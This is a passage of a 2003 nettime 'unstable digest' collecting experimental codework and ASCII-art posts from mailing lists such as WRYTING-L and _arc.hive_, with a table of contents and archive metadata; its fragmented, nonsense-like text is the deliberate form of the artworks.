o    o\n\n\n\n+*+**+**+*+*+\n*+\n*+*+\n*+*+*+\n*+*+*+*\n+*+*+*+*+\n*+*+*\n+*+*\n\n\n__________________________________\nDo you Yahoo!?\nExclusive Video Premiere - Britney Spears\nhttp://launch.yahoo.com/promos/britneyspears/\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: AAAA    AAA AAAA              AAAAA {AT}   AAAA AAZA\nDate: Tue, 28 Oct 2003 17:35:32 -0500 (EST)\n\n\n\nAAAA    AAA AAAA              AAAAA {AT}   AAAA AAZA\nz-aaaaa  aa aaaa-aaazaaa.aaa  a:aaAA    aa aaa\nzaza     aa aaa.aaa.aa.aa     a:aaAA     a aa\nzaaaz    aa -a-aaaaa.-aaa-aa  a:aaAA     a aazaa\nzazaa    az aaa.aaa.aaa.a    AaaaaZA  aazaa aazaa -a\nzaaaaa   aa aa-aaa-aaa-aaa.a  a:aaZA  a:aa -aaa\nzaa      aa aaa-aaa.zaaaaa.a AzaaaAA     a aaaa -a\nzaa      aa aaaaaaaaaa-aaa.z AaaaaZA    aa -\nzazazaaa aa aaa.aaa.aa.aaa   aa:aaZA     a -\n-za-zaz  aa aaa-aa-aaa-aa-aa  a:aaAA     a /aaa/aaaz\n-aaaaaa  aa aaaa-aaa-aaa-aaa AaaaaAA  aaza --zaa\n-aazaa   aa ZAaAaaaA.aaa.zaa  a:aaAA    aa -aaa\n-aaza    aa aaa-aa.aaa.aaa.z AaaaaZA  a:aa -aaaa\n-aaaaaa  aa aaaaaaaaaaaaaa.a  a:aaAA     a aaa\nazaaa    aa aaaa-aaa-aaa-aaa  a:aaAA    aa -aaa\naaza     aa aa.aa.aaa.aaa    AaaaaZA     a aaaa\naaa      aa aaa.aaa.aa.aa     a:aaAA     a -aaa\naaaaaaa  aa aaaazaa.aaaaaaaa  a:aaAA    aa aaa\naza      aa aaaaaaa-aaa-aaaa AaaaaZA    aa -\naza      aa aaaaaaa-aaa-aaaa AaaaaZA     a -aaaa\naza      aa -aa-aa-aa-aaa-aa AaaaaAA  a:aa -aaaa\naza      aa -aa-aa-aa-aaa-aa AaaaaAA  a:aa -aaaa\nazaa     aa aaa-aa-aaa-aaa.a  a:aaAA    aa -\nazaaaa   aa aaaaaa-aaaaa-aa. aaAaaaa     a aaa\naaa      aa zaaa-aa-aa-aaa-a  a:aaAA    aa -aaa\naazaaa   a- aaa.a.aaa.aaa     a:aaZA     a -\naaaaaaa  aa aaa-aaa-aa-aaa.a  a:aaAA     a aazaa\naa-      aa aaaaaz.aaa.zaaaa AaaaaZA aa:aa -aaaa\naa-      aa azaaa-.aazaaa.za  a:aaZA    aa -aaaa\naa-      aa aaaaaz.aaa.zaaaa AaaaaAA aa:aa -aaaa\naaaaaa   aa aaaaaaaa-aaaa.aa  a:aaAA    aa -\naaa-zaaa aa aaaaazaz.aaa.zaa aa:aaZA     a -aaa\naaaaaa-a aa aazaaa-a.aa.aaa.  a:aaAA     a --zaa\na-       aa aaaa.aaa.zaaaaa. aa:aaZA     a aaa\naaa      aa aaaaaaa.aazaaa.z  a:aaAA     a /aaa/aaaz\naaaaaa   aa aaaa.a-azaaaaa.a  a:aaAA     a aaa\naaaaaaaa aa aaa.aaa.aaa.aa    a:aaAA     a aaaa\naaaaaaa  aa aaa.aa.aa.aaa    aa:aaZA     a -\naza      a- aaa-aaaaa-aa.aaa AaaaaZA     a -\nazaaaa   aa aaaaazaa.aaaaaaa AaaaaAA     a -\nazaaaa   aa azaa.azazaaaa.aa aaAaaaa  aazaa --zaa\nazaaaa   aa zaaa-aa-aaa-aa-a AaaaaAA     a aaaa\naaaaaaaa aa azaa.aaaaaaa.aaa  a:aaAA     a aaaa\naaa      aa aazaa.azaa.aaa   aaAaaaa  a:aa aaa -a aa\naza      aa aaaaa.zaa.aaa    AaaaaAA     a aaaaaa -A\nazaa     az aaa-aa.zaaaaa.aa aa:aaAA  a:aa -aaa\nazaaaa   aa aza-azaaa.azaaaa aa:aaZA     a aazaa /az\nazaaaa   aa aza-azaaa.azaaaa  a:aaAA     a -aaaa\nazaaa    aa aa.aaa.aa.aaa    AaaaaZA     a aazaa-aa.\naaaaaaaa aa aaaaa-aa--aaa-aa  a:aaAA    aa aaa\naaa      aa aaa.aaaaaaaz.aaa  a:aaAA    aa --zaa\naazaz    aa aa-aaa.aaa.aaaaa  a:aaAA     a -\naaaaaaaa aa aaaaaa-aaa-aaa.a aa:aaZA     a aazaa-aa.\naaaaa    aa zaaa-aa-aaa-aaa-  a:aaAA     a -\naaaaaaaa aa aaa.aa.aaa.aaa    a:aaZA  a:aa --zaa\naaaaa    aa aa-aa-aa-aaa.aaa  a:aaZA     a -aaa\nazaa     aa aaa-aa-aaa-aa-aa  a:aaAA     a -\naaa-aaa  aa Z-aaa-aaa-aaa-aa aa:aaZA    aa aaaa\naaaa     aa aaa-aaaaaaaz.aaa  a:aaZA    aa -aaa\naaaa     aa aaa-aaaaaaaz.aaa  a:aaAA     a aaaa -aa\naaaaa    aa aaa.aaaaaaaazaa.  a:aaAA     a aaaa: aaa\naaaaaa   aa aaaaaaa.azaa.aza  a:aaAA     a aaa --\nazaaaa-  aa aaaaaaaaaaaaaa.a  a:aaZA     a /aaa/aaaz\naaaaaa   aa aa-aa-aaa-aaa.aa  a:aaAA     a aaa aaa.a\naaaaaaaa aa -azaaaaza.aazaaa aaAaaaa     a -aaaa\naaaaaaaa aa -azaaaaza.aazaaa aa:aaZA  a:aa -aaaa\naa-a     aa aa-a.aazaaa.zaaa  a:aaAA    aa -aaa\naz       aa aazaaa-aaa-aaa-a  a:aaZA     a -aaaa\naaaaaaa  aa aaaa-aaa-aaa-aaa AzaaaAA  a:aa --zaa\naaaaaaa  aa aaa.aaa.zaaaaa.a  a:aaAA     a --zaa\naaaazaaa aa azaa.aaaaaaza.aa aa:aaZA     a -aaa\naaaaa    aa a-aaaaaaazaaaaaa  a:aaZA     a -\naaaa     aa aazaa.azaa.aaa   aaAaaaa  aaazaa -aaaa\naaaa-    aa aaaa-aaaaaaa.az-  a:aaAA     a -aaaa\naaaz     aa aaaa-aa-aaa-aaa- aa:aaZA     a -aaaa\naaaaa    aa aaaaaaaaaaaaa.aa aa:aaAA     a -aaa\naaa      aa aaaaaaaaaaaaa.aa aa:aaZA     a /aaa/aaaz\naaa      aa aaaaaaaaaaaaa.aa  a:aaZA     a -aaa\nazaaaaz  aa aa-aa-aaa-a.aaa.  a:aaAA     a -\naazaaaa  aa aaa.aaa.aa.aa     a:aaZA    aa -\naaa      az AAAAZAAaa.AAAA.A aaAaaaa  aaazaa --zaa\naazaaaaa aa aaaa-aaa-aaa-aa- AaaaaAA  a:aa aaaa\naazaaaaa aa aaaa-aaa-aaa-aaa  a:aaAA     a -aaa\naaaa-    aa -aaaaaaaaa.aaa    a:aaAA     a -\na-a      aa aaaa-aa-aa-aaa.a  a:aaZA  a:aa -aaaa\na-a      aa azaaaa           AaaaaAA aa:aa -aaaa\naaaaaa   aa aaa.aa.aaa.aaa   aa:aaZA    aa /aaa/aaaz\naazaaa   aa aaaaaa-aaa-aaa.a  a:aaAA     a --zaa\naaaaa    aa aaa.a.aa.aaa     aaAaaaa     a -aaa\naaaaaz   aa zaaa-aa-aaa-aa-a AaaaaZA     a -aaa\naaaaaa   aa aaaa-aaa-aa-aaa-  a:aaAA     a aaaa -a\naaaaaaaa aa aazaaaaaa.aaaaaa  a:aaAA     a a\naazaa    aa aa-aa-aa-aaa.aaa  a:aaZA  a:aa /aaa/aaaz\naaaa     aa aa-aaa-aaa-aa.aa AaaaaAA     a -aaaa\naazaa    aa aa.aaa.aaa.aa     a:aaZA     a aaaa\naaaaaa   a- aaaaaaaaaaaa.aaa AaaaaAA     a aaaa -aa\nazaaa    aa aaaa-aaa-aa-aaa- AaaaaAA aa:aa -aaa\nazaaz    aa aaa.aaaaaaaza.aa  a:aaAA     a aaaaaa a-\nazaa     aa aaa-aaaaaaaa.aaa  a:aaAA     a --zaa\naa-zaaa  aa aaa-aaa-aaa-aa.a aa:aaAA     a -\naaa      aa az-azaaaa-aa-aaz  a:aaAA  a:aa aaa -A\naaaa     aa aa.aaa.aa.aaa     a:aaAA     a aa aaaaaz\naaaaaa   aa aa-aaa-aaa-aa.aa  a:aaAA    aa -aaa\nazaaa    aa aa-aaa-aa-aaa.aa AaaaaAA aa:aa /aaa/aaaz\nazaaa    aa aa-aaa-aa-aaa.aa AaaaaAA aa:aa /aaa/aaaz\nazaaa    aa aa-aaa-aa-aaa.aa aa:aaZA  a:aa /aaa/aaaz\naaaaa    aa aaa.a.aaa.aaa     a:aaAA     a -aaa\naaaaaaaa az a-aa-aaa-a-aa.aa  a:aaAA     a -\naaaaaaa  aa zaaa-aa-aaa-aaa-  a:aaAA     a -\naaaaa    az aaaaa.aazaaa.zaa aa:aaAA     a aaaa\naaaaa    aa aaaaa.aazaaa.zaa aa:aaZA  a:aa aaaa\n\n\n___\n\n\nDate:         Wed, 29 Oct 2003 22:28:54 +0200\nFrom: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\nSubject: #20\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n                '    '             |\n\n                  '  '       !  _+  + ++/\n               ////////// /'///)) \\\\\\\\\\\\ ________\n          _'   &  && &\n\n          ++++++++++++++++++++++++''////// ++ __####++\n             +++ +++++++ ++++++++++++//?????\n                           /\n           ///  +           !    !!          \\  !\n          !   !!   !!! ! |    |  |  )   |\n                0 def\n             |||   ||     |         / /   / //   ++\n       gray exch setgray fill se\n         ++  +  '   ''''' ''  '' ?   ?//      ! ''  ' /\n    &!!!\\\\\\ +++++++##?? ???######## ###?????? \\\\\\\\\n          dbls/agrave/aacute/acircu\n             \\\\__ &||||###'' ''''' ''''' '''''' ''''' )\n       )))))  ) )) )) \\  \\    / _ _  '''' '''') )))\n      oke load def\n       /\n              etoverprint\n               &    &  &&  &|| ||   |            |  ||   ''\n\n\n                !   !  !!\n                 \\    '\n      gin\n              ' ''' '''' '')  )   )) )  )     ))))\n                __  __'''''?????     ??  ???   ? _ _ ++\n       5 G .215(isitor too cloni\n             :  ::    ###'    / / |  |     |     |\n                  &\n          &  &&& & &))))))_\\\\\n             ||| |||| ||____\n       __  __ _     ____\n           ef\n                &  &  & &    &     ((((  )   !\n              !         !    ++    +\n          + ++++++   +???  : :: #  )))) \\\\  \\\n            \\\\\\\\  #   #  + ? //\n\n\n\nDate: Tue, 28 Oct 2003 00:06:49 -0800\nFrom: Ytzhak <Ishaq1823 {AT} TELUS.NET>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: All Sure yuh steady\n\nWe witness our Teiwaz/ehwaz/mi  laguz/of my homies=92 othila/fa=92rilla/wil=\nl\nstrong me further/in the dagaz of our oppression in another raido/raido\nof this will/will be truly/71/2 ounces of our people=92s wunjo/if you no\nlisten/Jus imagine the damage/of your subterfuge/View young knecks upper\nbodies jerkin to Mr Bassie=92s/slow scratch/Injecting 7% solution with 5 %\nconfusion/insanity driven by riding/white bwais on rattid\ncouches/Scoping a chipped tooth gringo/absorbed in alcohol an porno/The\ngeography of ads affecting the diction/slips a dick in/unsafely\nstroking/the mix of a community/Collusion of a duppy/Dun full of\ntemporary/Cupful comin to terms/with a snot full/of snow cold/scratched\non glass/with no/immediate tempo/ Tempt  you/Sex mad an loco/Slapping\nzippers on wrists/Rusted razor will/never resurrect/the soul lost/to a\nburnt out spank ho/He said Be/as the recite goes/done be ashamed/cpoome\nkno Me/Get yuh self right, homebwai/Life's only a lie told/Time runnin\nwith immunity/Fore yuh life folds/Score more or beg the poor/when time\ncome /the crossova/yuh dome get left behind/as the doors close\n\n\n\nLawrecence Ytzhak Braithwaite (aka Lord Patch)\n\n--\n-\n___\nStay Strong\n\n\"Peace sells but who's buying?\"\nMegadeth\n\n\"This mathematical rhythmatical mechanism enhances my wisdom\nof Islam, keeps me calm from doing you harm, when I attack, it's\nVietnam\"\n--HellRazah\n\nhttp://www.sleepybrain.net/vanilla.html\n\nhttp://awol.objector.org/artistprofiles/welfarepoets.html\n\nhttp://ilovepoetry.com/search.asp?keywords=3Dbraithwaite&orderBy=3Ddate\n\nhttp://www.dpgrecordz.com/fredwreck/\n\nhttp://www.lowliferecords.co.uk/\n\nhttp://loudandoffensive.com/\n\nhttp://groups.yahoo.com/group/THCO2\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: p.n.g\nDate: Thu, 30 Oct 2003 23:59:22 +0100\n\n    t.i.t.l.e.i.m.a.g.e.s.m.a.k.e.i.m.a.g.e.t.i.t.l.e.m.i.d\n\n \nt.i.t.l.e.s.h.a.d.e.i.m.a.g.e.s.m.a.k.e.i.m.a.g.e.t.i.t.l.e.m.i.d.s.h.a.d.e.\nl.e.f.t.t.i.t.l.e.i.m.a.g.e.s.m.a.k.e.i.m.a.g.e.t.i.t.l.e.l.e.f.t\nl.e.f.t.t.i.t.l.e.s.h.adeim.a.g.e.sm.a.k.e.imagetitlelef.t.s.h.a.d.e\n  rig.h.t.t.i.t.l.e.i.m.a.geslistmakei.m.a.g.e.t.i.t.lerightoff\n                            make.i.m.a.g.e.t.itleright\n     righttitleshadei.m.a.g.e.s.listmakeimagetitlerightshade\n                                    make.i.m.a.g.e.t.itlerightshade\n                  clos.e.imageslist.m.a.k.e.i.m.a.g.e.b.uttonclose\n                                     mak.e.i.m.a.g.e.b.uttonclose\n                                      ma.k.e.i.m.a.g.e.b.u.t.t.o.nclosein\n\n     iconifyi.m.a.geslistmake.i.m.a.gebuttonminoff\n\n                           makei.m.a.g.ebuttonmin\n                            make.i.m.a.g.ebuttonminin\n      maximize.i.m.ageslistmake.i.m.a.g.ebuttonmaxoff\n                            makei.m.a.gebuttonmax\n                            makeim.a.gebuttonmaxin\n     botto.m.i.m.a.g.em.a.k.e.imageborderbottom\n     topi.m.a.ge.make.i.m.a.g.e.bordertop\n     topshadei.magemakeima.g.e.bordertopshade\n     topleft.i.m.agemakeim.a.g.e.bordertopleft\n     topleft.s.h.adeimag.e.m.a.k.e.imagebordertopleftshade\n\n     topright.i.m.a.g.e.listmakeim.a.g.e.b.o.r.d.e.r.t.o.p.r.i.g.h.t.o.f.f.\n                             ma.k.e.i.m.a.g.e.bordertopright\n     toprightsha.d.e.i.magelistmakeim.a.g.e.bordertoprightshadeoff\n                                  ma.k.e.i.m.a.gebordertoprightshade\n     bottomlefti.m.a.g.e.makeim.a.g.e.borderbottomleft\n     bottomrighti.m.a.g.e.listmakei.m.a.g.eborderbottomrightoff\n                               mak.e.i.m.a.g.eborderbottomright\n     lefti.m.a.g.emakeim.a.g.e.b.orderleft\n\n     right.i.m.agelistmake.i.m.a.geborderrightoff\n                         makei.m.a.geborde.r.right\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nDate: Tue, 28 Oct 2003 15:23:35 +0200 (EET)\nFrom: exp {AT} surfeu.fi\nTo: cybermind {AT} LISTSERV.AOL.COM\nSubject: kisses anna\n\n   - ok i have to go for now but i'll keep checking for your reply.\nkisses, anna ;-)\n   - ok i have to go for now but i'll keep checking for your reply.\nkisses, anna ;-)\n   - ok i have to go for now but i'll keep checking for your reply.\nkisses, anna ;-)\n   - ok i have to go for now but i'll keep checking for your reply.\nkisses, anna ;-)\n   - ok i have to go for now but i'll keep checking for your reply.\nkisses, anna ;-)\n\n\n\nDate:         Mon, 27 Oct 2003 08:51:28 -0800\nFrom: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\nSubject: striatom\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nstriatom\"\":\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\":\"\"\"\"\"\"\"\":\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\":\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\":\"\"\"\"\"\"\"\" \"\"\"\"\"\"\"\"\"\"i\"\"\"\ni\"\"\"\"\"\"\"\"\"\" \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\n\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\" i\"\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\n\"\"i \"\"\"X\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\"\"i\"\"\"\"\"\"\"\"\"\"\"\n\"\"\"\"\"\"\"\"\"\"\"\"X\"\"\"\"\"\"\"X\"\"\"\"\"\"\"\"\"\"\"\"X\"\"\"\"\"\"\"\"\"\"\"\"X\"\"\"\"\"\"\"\"\"\"\"\"X\nXXXXXXXXXX XXXXX\"\"\"X\"\"\"\"\"X\"\"\" \"\"\"\"\"]XXXXXXXXXXXXXXXXXXXXXXXX\nXXXX\"\"\"XXXXX\"\"\"XXXXXXXXX\"\"\"XXXXX\"\"\"XXXXX\"\"\"XXXXX\"\"\"XXXXX\"\"\"X\nX\"\"XXXXX\"\"XXXXX\"\"XXX\"\"\"XXXXX\"\"\"XXXXX XXX\"\"XXXXX\"\"XXXXX\"\"XXXX\nXX XXX-XXXXX-XXXXX-XXX\"\"XXXXX\"\"XXXXX\"\"XXXXX\"\"XXXXX\"\"XXXXX\"\"X\n-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX\nXX XXXXX XXXXX XXXXXXXXX-XXX XXX XXXXX XXXXX XXXXX XXXXX XXX\n XXXXX XXXXX XXXXX X XXXXX XXXXX XXXXX XXX XXXXX XXXXX XXXXX\nXXXXXXXXXXXXXXXX XXXXXXX XXXXX XXXXX XXXXX XXXXX XXXXXXXXXXX\n XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX\nXXXXXXXX XXXXX\"\"\"XXX ]XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\nXX\"\"\"XXXXX\"\"\"XXXXX\"\"XX\"\"\"XXXXX\"\"\"XXXXX\"\"\"XXXXX\"\"\"XXXXX\"\"\"XXX\nXXXXX\"\"XXXXX\"\"XXXXX\"\"XXXXX\"\"\"XXXXX\"\"\"XXXXX\"\"\"XXXXX \"\"XXXXX\"\"\nX\"\"XXXXX\"\"XXXXX\"\"XXX\"XXXXX\"\"XXXXX\"\"XXXXX\"\"XXXXX\"\"XXXXX\"\"XXXX\nX-XXXXX-XXXXX-XXXXX-XX\"\" -XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXX\nXX XXXXX XXXXX XXXXXXXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX- XXX\nXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXX\nXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXXXX XXX\nXXXXXX XXX XXX XXX X XXXXX XXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXX\nXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX X\ny  {AT}  . ]sf12?!q3y  {AT}  .XX XXX ]XXXXXXXXXsf12?!q3y  {AT}  . ]sf12?!q3\n8a,x!~p;l ,a8P8Y8a,  ]sf12?!q3 x!~p;l ,a8P8Y8a,x!~p;l ,a8P8Y\n, ff ,d, .-. ,b, ff,x!~p;l ,a8P8Y8a, x!~p;l b, ff ,d, .-. ,b\n'b d\"b d\"b d'I'b d\"bd, .-. ,b, ff,d, .-. ,b, ff, d\"b d\"b d'I\n Y, ,D, ,P 8 Y, ,D , d\"b d'I'b d\"b d\"b d'I'b d\"b d\" ,D, ,P 8\nP, \"d' 8 'b\" ,P P,\"dP 8 Y, ,D ,P 8 Y, ,D ,P P, \"d' 8 'b\" ,P=20\n8gcg8 ,P P,8gcg8gcg8' 8 'b\" ,P P ,\"d' 8 'b\" ,P P , ,P P,8gcg\n8P,8P\"\"\"8P ,8P\"\"\"8P,P ,8gcg8gcg8, P , 8gcg8gcg8, P , ,8P\"\"\"\n8P\"\"\"8P, d ,a8a, d /8P\"\"\"8P,8P\"\"8P,8P\"\"\"8P,8P\"\"\"8P, 8P\"\"\"8P,\n8a, d /\\ /\\ d ,a8a, \\ /\\ d ,a8a, d /\\ /\\ d ,aa, d /\\ /\\ d ,a\n ) 8,P\" \"Y,8 ( ) 8,Pd 8,P\" \"Y,8 ( ) 8,P\" \"Y,8 ( ) 8,P\"\"Y,8 (\n`Y8.( o ).8P' `Y8 .(\" \"Y,8 8P' `Y8.( o ). 8P' `Y8.( o ).8P'=20\n/\\/\\'8, ,8'/\\ /\\'8 , o ).8P' `Y8 8'/\\ /\\'8, , 8'/\\ /\\'8, ,8'\n;8 () 8;.( ).;8 ( )  ,8'/\\ /\\'8 8 ( ) 8;.( ).; 8 ( ) 8;.( ).\n8Ya aP8.( ).8Ya aP8.8 :.( ).;8 ( ) 8 8.( o ).8Ya aP 8.( o ).\n=3D-=3D-=3D-=3D8 \"YaP\" 8=3D-=3D=3D( o ).8 Ya aP8.( o ).8 =\n8=3D-=3D-=3D-=3D8 \"YaP\" 8\na\"\"\"Yaa,,aa Y\"\"\"a\"\"-=3D8 \"YaP\" 8=3D-=3D-=3D-=3D8 \"YaP\" =\n8=3D-=3D-=3D-=3D8 Y\"\"\"\naY\"\"\"a\"\"\"Y `bag,d' `\"Yaa,,aaY\"\"\"\"\"\"Yaa,,aaY\"\"\"a\"\"\"Y aa,,a\nd' ``\"\"'' `b agd' `Y`\"\"'' `bag,d' ``\"\"'' `bagd' ``\"\"'' `b ag\naaa, `YPY' P \"Y Ya )PY' ,aaa, `YPY' ,aaa, `YPY ,aaa, `YPY' ,\n ).( aY P\" Y \"' de `.( aY P \"Y Ya ).( aY P\"Y Y ).( aY P\" Y Y\n\" P\"' de`\"Y \"\" \"\" P\"\"Y \"\" \"\" P\"' de `\"Y \"\" \"\" P\"' de`\"Y \"\" \"\nd  {AT} # sf;lks swed  {AT} # ' de`\" swed  {AT} # sf;lks swed  {AT} # sf;lks swe\nmtuzfkl mproot {AT} mtuzfsf;lks swed  {AT}  fkl mproot {AT} mtuzfkl mproot {AT} \n;uiyhkg&6uiOP98p.;uikl mproot {AT} mtu zfkl mp .;uiyhkg&6uiOP98p.\n=3D' O=3D=3D' O=3D=3D' O=3D=3D' =\nO=3Dyhkg&6uiOP98p.;uiyhkg&6uiOP98p.;uiyhk O=3D\nH /\\ \\H /\\ H H::\\ \\ =3D' O=3D=3D' O=3D=3D' H/\\\"\\ H /\\ \\ H /\\ \\ H /\\ \\=20\n /HLS:\\ \\ H:LS:\\ \\ HH/::\\ \\ H /::\\ \\ H /::\\ \\H /::\\ H /::\\H\\\n::/ / H::::/ / H\\:::/:LS:\\ \\H /:LS:\\ H /:LS:\\H\\ /:LS:H \\ \\H:\nH\\::/ / H \\::/ / H \\:/ /H \\::::/ H \\::::/H/ \\::::H / H::/ /=20\n H \\/ / H \\/ /H \\/ H::/ /H \\::/ H \\::/H/ H\\/ / H \\/ / H \\/ /\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" 3DH H3D H 3D H 3DH H3D H 3D \"\"\"\"\"\"\"\"\"\"\"\nDH H3D H 3D  ick \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"DH H3D H 3D=20\n3D \\ / 3D / \\3D / \\ l /\\ /\\ /\\ /\\ /\\ /\\ /\\ / \\ 3D / \\ 3D/ \\=20\n/ \\\\ \\/ \\/\\ / \\ /\\/\\3D / \\ 3D \\ //\\ \\\\ / /\\ \\ / /\\\\\\ / /\\ \\=20\n/:\\\\/\\ /\\:/ \\ \\:/\\ \\ \\ \\ //::\\ \\\\ / /::\\ \\ / /::\\\\\\/ /::\\ /=20\n /:LS\\\\ \\ /:LS:\\ \\ / \\ \\/:LS:\\ \\\\ /:LS:\\ \\ /:LS:\\\\\\ /:LS:\\ \\\n::::/ / \\:::// / \\:::LS:\\ \\ / /\\::::/ // \\::::/ / \\::::/// \\\n::///\\ \\::/ \\ \\://\\//:/ / \\:/::/ / / / \\\\::/ // \\ \\::/ / \\ \\\n\\/ / \\ // /\\ /\\/ \\ / \\/:\\ / /:\\/ / / \\\\/ // \\ \\/ / \\ \\/// \\=20\n\\ / SIG\\ / SIG \\/ \\/ \\/\\/ / SIG \\ / SIG / SIG/ \\ SIG \\ /SIG=20\n \\/ \\/ \\/ \\/ \\/ \\  \\/ \\/ \\/ \\/ \\/ \\  \\/ \\/ \\/ \\/ \\/ \\ sputN\n\n\n\n\n\n\nnettime unstable digest vol 72\nSun Nov  2 18:34:03 2003\n\n\nSubject: src hangup\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: OMPHALOSOPHY 101\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: GDE#3\n    From: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: ][noon]n]f/e/ns]/r]mmf[m[[[/]esms[]sey]]f/\n    From: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Confusion\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Vortex[t] Sh[r]edding\n    From: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re: Vortex[t] Sh[r]edding//_R[eal]t[ime]ex[t]e_:combining \"f.et(al)[w]ishes\"\n    From: \"N.B.Twixt\" <netwurker {AT} HOTKEY.NET.AU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Cu.rn as much as a pr0n star with these p.ills!\n    From: \"peter\" <cantsin {AT} zedat.fu-berlin.de>\n    To: <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: De-quotation De-vice\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: _P[l]oly.Phon[e Ton]ic_\n    From: \"N.B.Twixt\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\n\nSubject: Asynchronous Satellite Hookup\n    From: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: blown\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Abrickity\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: AAAA    AAA AAAA              AAAAA {AT}   AAAA AAZA\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: #20\n    From: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: All Sure yuh steady\n    From: Ytzhak <Ishaq1823 {AT} TELUS.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: p.n.g\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: kisses anna\n    From: exp {AT} surfeu.fi\n    To: cybermind {AT} LISTSERV.AOL.COM\n\nSubject: striatom\n    From: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 2 Nov 2003 20:25:00 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200311022005.hA2K5lO18627 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0311/msg00000.html",
